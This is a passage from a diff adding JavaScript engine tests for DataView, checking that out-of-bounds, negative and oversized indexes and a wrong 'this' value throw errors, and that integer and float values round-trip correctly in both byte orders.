+ checkThrow(() => view.getInt32(12, true), RangeError);
+ // Big endian.
+ checkThrow(() => view.getInt32(0), RangeError);
+ checkThrow(() => view.getInt32(3), RangeError);
+ checkThrow(() => view.getInt32(6), RangeError);
+ checkThrow(() => view.getInt32(9), RangeError);
+ checkThrow(() => view.getInt32(12), RangeError);
+ // Little endian.
+ checkThrow(() => view.getUint32(0, true), RangeError);
+ checkThrow(() => view.getUint32(3, true), RangeError);
+ checkThrow(() => view.getUint32(6, true), RangeError);
+ checkThrow(() => view.getUint32(9, true), RangeError);
+ checkThrow(() => view.getUint32(12, true), RangeError);
+ // Big endian.
+ checkThrow(() => view.getUint32(0), RangeError);
+ checkThrow(() => view.getUint32(3), RangeError);
+ checkThrow(() => view.getUint32(6), RangeError);
+ checkThrow(() => view.getUint32(9), RangeError);
+ checkThrow(() => view.getUint32(12), RangeError);
+
+ // testFloatGets(start=3)
+
+ // testFloatGet expected=10
+ // Little endian
+ view = new DataView(buffer2, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer2_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer2_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer2_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer2_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer2_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer2_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer2_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer3, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer3_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer3_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer3_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer3_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer3_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer3_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer3_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer4, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer4_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer4_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer4_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer4_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer4_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer4_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer4_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer5, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer5_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer5_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer5_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer5_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer5_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer5_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer5_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer6, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer6_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer6_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer6_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer6_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer6_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer6_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer6_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=10
+ // Little endian
+ view = new DataView(buffer7, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer7_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer7_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer7_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer7_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer7_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer7_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer7_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=1.23
+ // Little endian
+ view = new DataView(buffer8, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer8_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer8_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer8_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer8_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer8_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer8_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer8_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer9, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer9_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer9_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer9_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer9_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer9_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer9_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer9_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer10, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer10_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer10_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer10_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer10_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer10_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer10_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer10_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer11, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer11_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer11_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer11_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer11_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer11_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer11_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer11_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testGetNegativeIndexes
+ view = new DataView(buffer1, 0, 16);
+ checkThrow(() => view.getInt8(-1), RangeError);
+ checkThrow(() => view.getInt8(-2), RangeError);
+ checkThrow(() => view.getUint8(-1), RangeError);
+ checkThrow(() => view.getUint8(-2), RangeError);
+ checkThrow(() => view.getInt16(-1), RangeError);
+ checkThrow(() => view.getInt16(-2), RangeError);
+ checkThrow(() => view.getInt16(-3), RangeError);
+ checkThrow(() => view.getUint16(-1), RangeError);
+ checkThrow(() => view.getUint16(-2), RangeError);
+ checkThrow(() => view.getUint16(-3), RangeError);
+ checkThrow(() => view.getInt32(-1), RangeError);
+ checkThrow(() => view.getInt32(-3), RangeError);
+ checkThrow(() => view.getInt32(-5), RangeError);
+ checkThrow(() => view.getUint32(-1), RangeError);
+ checkThrow(() => view.getUint32(-3), RangeError);
+ checkThrow(() => view.getUint32(-5), RangeError);
+ view = new DataView(buffer7, 0, 8);
+ checkThrow(() => view.getFloat32(-1), RangeError);
+ checkThrow(() => view.getFloat32(-3), RangeError);
+ checkThrow(() => view.getFloat32(-5), RangeError);
+ checkThrow(() => view.getFloat64(-1), RangeError);
+ checkThrow(() => view.getFloat64(-5), RangeError);
+ checkThrow(() => view.getFloat64(-9), RangeError);
+
+ // Too large for signed 32 bit integer index
+ checkThrow(() => view.getInt8(2147483648), RangeError);
+ checkThrow(() => view.getInt8(2147483649), RangeError);
+ checkThrow(() => view.getUint8(2147483648), RangeError);
+ checkThrow(() => view.getUint8(2147483649), RangeError);
+ checkThrow(() => view.getInt16(2147483648), RangeError);
+ checkThrow(() => view.getInt16(2147483649), RangeError);
+ checkThrow(() => view.getUint16(2147483648), RangeError);
+ checkThrow(() => view.getUint16(2147483649), RangeError);
+ checkThrow(() => view.getInt32(2147483648), RangeError);
+ checkThrow(() => view.getInt32(2147483649), RangeError);
+ checkThrow(() => view.getUint32(2147483648), RangeError);
+ checkThrow(() => view.getUint32(2147483649), RangeError);
+ checkThrow(() => view.getFloat32(2147483648), RangeError);
+ checkThrow(() => view.getFloat32(2147483649), RangeError);
+ checkThrow(() => view.getFloat64(2147483648), RangeError);
+ checkThrow(() => view.getFloat64(2147483649), RangeError);
+
+ // Test for wrong type of |this|
+ checkThrow(() => view.getInt8.apply("dead", [0]), TypeError);
+ checkThrow(() => view.getUint8.apply("puppies", [0]), TypeError);
+ checkThrow(() => view.getInt16.apply("aren", [0]), TypeError);
+ checkThrow(() => view.getUint16.apply("t", [0]), TypeError);
+ checkThrow(() => view.getInt32.apply("much", [0]), TypeError);
+ checkThrow(() => view.getUint32.apply("fun", [0]), TypeError);
+ checkThrow(() => view.getFloat32.apply("(in", [0]), TypeError);
+ checkThrow(() => view.getFloat64.apply("bed)", [0]), TypeError);
+ checkThrow(() => view.setInt8.apply("dead", [0, 0]), TypeError);
+ checkThrow(() => view.setUint8.apply("puppies", [0, 0]), TypeError);
+ checkThrow(() => view.setInt16.apply("aren", [0, 0]), TypeError);
+ checkThrow(() => view.setUint16.apply("t", [0, 0]), TypeError);
+ checkThrow(() => view.setInt32.apply("much", [0, 0]), TypeError);
+ checkThrow(() => view.setUint32.apply("fun", [0, 0]), TypeError);
+ checkThrow(() => view.setFloat32.apply("(in", [0, 0]), TypeError);
+ checkThrow(() => view.setFloat64.apply("bed)", [0, 0]), TypeError);
+
+ // testSetMethods
+
+ // Test for set methods that work
+
+ // testIntegerSets(start=0, length=16)
+ var data13 = [204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204];
+ var data13_r = data13.slice().reverse();
+ var buffer13 = bufferize(new Uint8Array(data13));
+ view = new DataView(buffer13, 0, 16);
+ view.setInt8(0, 0);
+ assertEq(view.getInt8(0), 0);
+ view.setInt8(8, -128);
+ assertEq(view.getInt8(8), -128);
+ view.setInt8(15, -1);
+ assertEq(view.getInt8(15), -1);
+ view.setUint8(0, 0);
+ assertEq(view.getUint8(0), 0);
+ view.setUint8(8, 128);
+ assertEq(view.getUint8(8), 128);
+ view.setUint8(15, 255);
+ assertEq(view.getUint8(15), 255);
+ view.setInt16(0, 256, true);
+ assertEq(view.getInt16(0, true), 256);
+ view.setInt16(5, 26213, true);
+ assertEq(view.getInt16(5, true), 26213);
+ view.setInt16(9, -32127, true);
+ assertEq(view.getInt16(9, true), -32127);
+ view.setInt16(14, -2, true);
+ assertEq(view.getInt16(14, true), -2);
+ view.setInt16(0, 1);
+ assertEq(view.getInt16(0), 1);
+ view.setInt16(5, 25958);
+ assertEq(view.getInt16(5), 25958);
+ view.setInt16(9, -32382);
+ assertEq(view.getInt16(9), -32382);
+ view.setInt16(14, -257);
+ assertEq(view.getInt16(14), -257);
+ view.setUint16(0, 256, true);
+ assertEq(view.getUint16(0, true), 256);
+ view.setUint16(5, 26213, true);
+ assertEq(view.getUint16(5, true), 26213);
+ view.setUint16(9, 33409, true);
+ assertEq(view.getUint16(9, true), 33409);
+ view.setUint16(14, 65534, true);
+ assertEq(view.getUint16(14, true), 65534);
+ view.setUint16(0, 1);
+ assertEq(view.getUint16(0), 1);
+ view.setUint16(5, 25958);
+ assertEq(view.getUint16(5), 25958);
+ view.setUint16(9, 33154);
+ assertEq(view.getUint16(9), 33154);
+ view.setUint16(14, 65279);
+ assertEq(view.getUint16(14), 65279);
+ view.setInt32(0, 50462976, true);
+ assertEq(view.getInt32(0, true), 50462976);
+ view.setInt32(3, 1717920771, true);
+ assertEq(view.getInt32(3, true), 1717920771);
+ view.setInt32(6, -2122291354, true);
+ assertEq(view.getInt32(6, true), -2122291354);
+ view.setInt32(9, -58490239, true);
+ assertEq(view.getInt32(9, true), -58490239);
+ view.setInt32(12, -66052, true);
+ assertEq(view.getInt32(12, true), -66052);
+ view.setInt32(0, 66051);
+ assertEq(view.getInt32(0), 66051);
+ view.setInt32(3, 56911206);
+ assertEq(view.getInt32(3), 56911206);
+ view.setInt32(6, 1718059137);
+ assertEq(view.getInt32(6), 1718059137);
+ view.setInt32(9, -2122152964);
+ assertEq(view.getInt32(9), -2122152964);
+ view.setInt32(12, -50462977);
+ assertEq(view.getInt32(12), -50462977);
+ view.setUint32(0, 50462976, true);
+ assertEq(view.getUint32(0, true), 50462976);
+ view.setUint32(3, 1717920771, true);
+ assertEq(view.getUint32(3, true), 1717920771);
+ view.setUint32(6, 2172675942, true);
+ assertEq(view.getUint32(6, true), 2172675942);
+ view.setUint32(9, 4236477057, true);
+ assertEq(view.getUint32(9, true), 4236477057);
+ view.setUint32(12, 4294901244, true);
+ assertEq(view.getUint32(12, true), 4294901244);
+ view.setUint32(0, 66051);
+ assertEq(view.getUint32(0), 66051);
+ view.setUint32(3, 56911206);
+ assertEq(view.getUint32(3), 56911206);
+ view.setUint32(6, 1718059137);
+ assertEq(view.getUint32(6), 1718059137);
+ view.setUint32(9, 2172814332);
+ assertEq(view.getUint32(9), 2172814332);
+ view.setUint32(12, 4244504319);
+ assertEq(view.getUint32(12), 4244504319);
+
+ // testFloatSets(start=undefined)
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, 10, true);
+ assertEq(view.getFloat32(0, true), 10);
+ var buffer13_pad3 = bufferize(new Uint8Array(Array(3).concat(data13)));
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, 10, true);
+ assertEq(view.getFloat32(3, true), 10);
+ var buffer13_pad7 = bufferize(new Uint8Array(Array(7).concat(data13)));
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, 10, true);
+ assertEq(view.getFloat32(7, true), 10);
+ var buffer13_pad10 = bufferize(new Uint8Array(Array(10).concat(data13)));
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, 10, true);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ var buffer13_r = bufferize(new Uint8Array(data13_r));
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, 10, false);
+ assertEq(view.getFloat32(0, false), 10);
+ var buffer13_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data13_r)));
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, 10, false);
+ assertEq(view.getFloat32(3, false), 10);
+ var buffer13_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data13_r)));
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, 10, false);
+ assertEq(view.getFloat32(7, false), 10);
+ var buffer13_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data13_r)));
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, 10, false);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatSet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, 1.2300000190734863, true);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, 1.2300000190734863, true);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, 1.2300000190734863, true);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, 1.2300000190734863, true);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, 1.2300000190734863, false);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, 1.2300000190734863, false);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, 1.2300000190734863, false);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, 1.2300000190734863, false);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatSet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, -45621.37109375, true);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, -45621.37109375, true);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, -45621.37109375, true);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, -45621.37109375, true);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, -45621.37109375, false);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, -45621.37109375, false);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, -45621.37109375, false);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, -45621.37109375, false);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, NaN, true);
+ assertEq(view.getFloat32(0, true), NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, NaN, true);
+ assertEq(view.getFloat32(3, true), NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, NaN, true);
+ assertEq(view.getFloat32(7, true), NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, NaN, true);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, NaN, false);
+ assertEq(view.getFloat32(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, NaN, false);
+ assertEq(view.getFloat32(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, NaN, false);
+ assertEq(view.getFloat32(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, NaN, false);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, -NaN, true);
+ assertEq(view.getFloat32(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, -NaN, true);
+ assertEq(view.getFloat32(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, -NaN, true);
+ assertEq(view.getFloat32(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, -NaN, true);
+ assertEq(view.getFloat32(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, -NaN, false);
+ assertEq(view.getFloat32(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, -NaN, false);
+ assertEq(view.getFloat32(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, -NaN, false);
+ assertEq(view.getFloat32(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, -NaN, false);
+ assertEq(view.getFloat32(10, false), -NaN);
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, 10, true);
+ assertEq(view.getFloat64(0, true), 10);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, 10, true);
+ assertEq(view.getFloat64(3, true), 10);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, 10, true);
+ assertEq(view.getFloat64(7, true), 10);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, 10, true);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, 10, false);
+ assertEq(view.getFloat64(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, 10, false);
+ assertEq(view.getFloat64(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, 10, false);
+ assertEq(view.getFloat64(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, 10, false);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatSet expected=1.23
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, 1.23, true);
+ assertEq(view.getFloat64(0, true), 1.23);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, 1.23, true);
+ assertEq(view.getFloat64(3, true), 1.23);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, 1.23, true);
+ assertEq(view.getFloat64(7, true), 1.23);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, 1.23, true);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, 1.23, false);
+ assertEq(view.getFloat64(0, false), 1.23);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, 1.23, false);
+ assertEq(view.getFloat64(3, false), 1.23);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, 1.23, false);
+ assertEq(view.getFloat64(7, false), 1.23);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, 1.23, false);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatSet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, -6213576.4839, true);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, -6213576.4839, true);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, -6213576.4839, true);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, -6213576.4839, true);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, -6213576.4839, false);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, -6213576.4839, false);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, -6213576.4839, false);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, -6213576.4839, false);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, NaN, true);
+ assertEq(view.getFloat64(0, true), NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, NaN, true);
+ assertEq(view.getFloat64(3, true), NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, NaN, true);
+ assertEq(view.getFloat64(7, true), NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, NaN, true);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, NaN, false);
+ assertEq(view.getFloat64(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, NaN, false);
+ assertEq(view.getFloat64(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, NaN, false);
+ assertEq(view.getFloat64(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, NaN, false);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, -NaN, true);
+ assertEq(view.getFloat64(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, -NaN, true);
+ assertEq(view.getFloat64(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, -NaN, true);
+ assertEq(view.getFloat64(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, -NaN, true);
+ assertEq(view.getFloat64(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, -NaN, false);
+ assertEq(view.getFloat64(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, -NaN, false);
+ assertEq(view.getFloat64(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, -NaN, false);
+ assertEq(view.getFloat64(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, -NaN, false);
+ assertEq(view.getFloat64(10, false), -NaN);
+
+ // Test for set methods that might write beyond the range
+
+ // testIntegerSets(start=3, length=2)
+ view = new DataView(buffer13, 3, 2);
+ view.setInt8(0, 0);
+ assertEq(view.getInt8(0), 0);
